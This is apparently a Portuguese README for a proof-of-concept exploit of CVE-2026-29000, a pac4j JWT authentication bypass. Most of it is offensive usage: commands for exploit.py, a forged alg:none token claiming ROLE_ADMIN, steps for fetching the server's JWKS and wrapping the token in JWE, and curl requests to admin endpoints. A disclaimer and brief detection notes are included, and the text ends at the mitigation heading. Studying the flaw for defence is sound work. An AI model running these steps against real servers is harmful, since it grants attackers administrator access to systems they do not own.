CVE-2026-29000: Prova de Conceito de Bypass de Autenticação JWT do pac4j

Prova de Conceito para CVE-2026-29000 - Uma vulnerabilidade crítica de bypass de autenticação na implementação JWT do pac4j que permite a atacantes forjar tokens de administrador sem uma assinatura válida.

---

⚠️ AVISO LEGAL

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O autor NÃO assume nenhuma responsabilidade por qualquer uso indevido, dano ou uso ilegal deste exploit.

• O acesso não autorizado a sistemas de computador é ILEGAL na maioria das jurisdições
• Os usuários devem obter autorização explícita por escrito antes de testar
• O autor NÃO é responsável por quaisquer consequências decorrentes do uso indevido desta ferramenta
• Esta é uma ferramenta educacional e de pesquisa em segurança - use de forma ética e legal

---

📋 Visão Geral da Vulnerabilidade

Esta vulnerabilidade explora uma falha no mecanismo de autenticação JWT do pac4j onde a biblioteca:

1. Aceita tokens não assinados com alg: "none" no cabeçalho JWT
2. Confia em tokens encapsulados em JWE sem validar adequadamente a assinatura JWT interna
3. Permite elevação de privilégios por meio de claims personalizados no payload não assinado

Um atacante pode forjar um JWT não assinado com claims arbitrários (como role: "ROLE_ADMIN"), criptografá-lo em um contêiner JWE usando a chave pública do servidor e obter acesso não autorizado a funcionalidades de administrador.

---

🎯 Pré-requisitos para Exploração Bem-sucedida

Requisitos do Lado do Servidor

Para que este exploit tenha sucesso, o servidor alvo deve atender a TODAS as seguintes condições:

1. Endpoint JWKS Acessível

O servidor deve expor suas chaves públicas através de um destes endpoints:

• /.well-known/jwks.json (endpoint OAuth/OIDC padrão)
• /api/auth/jwks (endpoint personalizado)

Por quê: O exploit busca automaticamente a chave pública do servidor para criptografar o token JWE forjado.

2. Aceitação do Claim role no JWT

O servidor deve:

• Aceitar e processar um claim role no payload JWT
• Ter pelo menos um nível de privilégio que conceda acesso elevado (ex.: ROLE_ADMIN)
• Não validar a assinatura JWT ou permitir tokens não assinados

Perfis Comuns:

• ROLE_ADMIN - Acesso administrativo completo
• ROLE_USER - Acesso de usuário padrão
• Perfis personalizados dependendo da aplicação

3. Processamento de Token JWE

O servidor deve:

• Aceitar tokens JWE (criptografados) como autenticação válida
• Descriptografar e processar o JWT interno não assinado
• Não verificar a assinatura do JWT interno ou o algoritmo

4. Configuração Vulnerável do pac4j

A aplicação deve usar pac4j com:

• Algoritmo definido como "none" ou validação inadequada de algoritmo
• Criptografia JWE habilitada, mas verificação de assinatura desabilitada no JWT interno
• Nenhuma validação adicional de token além da descriptografia JWE

---

🛠️ Instalação

Requisitos

• Python 3.7+
• Pacotes necessários: requests, jwcrypto

Configuração

# Clone o repositório
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Instale as dependências
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

---

🚀 Uso

Uso Básico

python3 exploit.py <TARGET_URL>

Exemplo:

python3 exploit.py http://vulnerable-app.local:8080

O script irá:

1. Tentar buscar JWKS nos endpoints padrão
2. Gerar um JWT não assinado com role: "ROLE_ADMIN"
3. Criptografá-lo usando a chave pública do servidor
4. Produzir um token JWE pronto para autenticação

Opções Avançadas

Nome de Usuário Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --username john

Perfil Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Fornecer JWKS Manualmente

Se o endpoint JWKS não estiver acessível publicamente, forneça o JWK manualmente:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Exemplo Completo com Todas as Opções

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

---

📤 Usando o Token Gerado

O exploit gera um token JWE no seguinte formato:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Fazendo Requisições Autenticadas

Use o token em requisições HTTP para acessar endpoints protegidos:

# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Usando Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Exemplo de Requisição com Cabeçalho de Autorização

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

---

🔍 Como o Exploit Funciona

Passo 1: Criar JWT Não Assinado

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Nome de usuário
    "role": "ROLE_ADMIN",        # Nível de privilégio
    "iss": "principal-platform", # Emissor
    "iat": 1234567890,          # Emitido em
    "exp": 1234571490           # Expiração (1 hora)
}

O JWT é criado sem assinatura (alg: "none"), o que normalmente é inválido, mas aceito por servidores vulneráveis.

Passo 2: Buscar JWKS do Servidor

O exploit consulta:

1. /.well-known/jwks.json (padrão OAuth/OIDC)
2. /api/auth/jwks (endpoint personalizado)

Isso recupera a chave pública RSA do servidor necessária para a criptografia.

Passo 3: Criptografar JWT como JWE

O JWT não assinado é criptografado usando:

• Algoritmo: RSA-OAEP-256 (criptografia assimétrica)
• Criptografia: A128GCM (criptografia autenticada)
• Chave: Chave pública do servidor (impede adulteração)

Isso cria um token JWE que o servidor pode descriptografar, mas não verificará a assinatura interna.

Passo 4: Usar o Token

O token JWE é incluído no cabeçalho Authorization:

Authorization: Bearer <JWE_TOKEN>

O servidor vulnerável descriptografa e extrai o JWT não assinado, confiando nos claims sem verificar a assinatura.

---

🔐 Cadeia de Vulnerabilidade

JWT não assinado (alg:none)
         ↓
  Encapsulado em JWE (com chave pública do servidor)
         ↓
  Servidor recebe token JWE
         ↓
  Servidor descriptografa JWE
         ↓
  Extrai JWT interno não assinado
         ↓
  ❌ Servidor NÃO verifica a assinatura
         ↓
  ✅ Aceita claims como válidos (role: ROLE_ADMIN)
         ↓
  Atacante tem acesso de administrador!

---

⚠️ Detecção e Indicadores

Indicadores do Lado do Servidor de Vulnerabilidade

1. Exposição do Endpoint JWKS

   • Verificar se /.well-known/jwks.json ou /api/auth/jwks está acessível publicamente

2. Logs de Validação JWT

   • Procurar logs que aceitam tokens com alg: "none"
   • Avisos sobre tokens não assinados sendo aceitos

3. Revisão de Configuração

   • Verificar se a verificação de assinatura do pac4j está desabilitada
   • Confirmar as configurações de descriptografia JWE

Indicadores de Rede

# Reconhecimento
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Verificar se tokens JWE são aceitos
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

---

🛡️ Mitigação e Remediação

Para Desenvolvedores Usando pac4j